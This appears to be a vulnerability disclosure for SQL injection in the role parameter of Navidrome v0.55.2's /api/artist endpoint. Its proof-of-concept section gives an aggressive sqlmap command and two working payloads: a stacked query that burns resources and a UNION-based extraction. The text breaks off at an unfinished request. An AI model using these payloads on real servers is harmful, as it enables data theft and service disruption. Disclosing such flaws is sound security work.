Description
🛡 Security Advisory: SQL Injection Vulnerability in Navidrome v0.55.2
Overview
This vulnerability arises due to improper input validation on the `role` parameter within the API endpoint `/api/artist`. Attackers can exploit this flaw to inject arbitrary SQL queries, potentially gaining unauthorized access to the backend database and compromising sensitive user information.
---
Details
• Vulnerable Component:
API endpoint → `/api/artist`
Parameter → `role`
• Vulnerability Type:
SQL Injection (stacked queries, UNION queries)
• Database Affected:
SQLite (confirmed exploitation via SQLite-specific payloads)
• Impact:
Successful exploitation allows an unauthenticated attacker to:
• Execute arbitrary SQL commands
• Extract or manipulate sensitive data (e.g., user records, playlists)
• Potentially escalate privileges or disrupt service availability
---
Proof of Concept (PoC)
Example Exploit Command:
```bash
sqlmap.py -r navi --level 5 --risk 3 -a --banner --batch --tamper charencode --dbms sqlite
```
Sample Payloads:
• Stacked Queries:
```
http://navidrome/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist');SELECT LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))--
```
• UNION-Based Query:
```
http://navidrome.local/api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist') UNION ALL SELECT 92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,92,CHAR(113,98,118,98,113)||CHAR(113,84,86,119,114,71,106,104,90,118,120,104,79,66,104,108,121,106,70,68,90,113,104,117,67,98,113,67,103,84,71,120,119,119,117,121,81,76,100,71)||CHAR(113,120,112,106,113),92,92,92,92-- Mtny

```http
GET /api/artist?_end=15&_order=ASC&_sort=name&_start=0&role=albumartist* HTTP/2
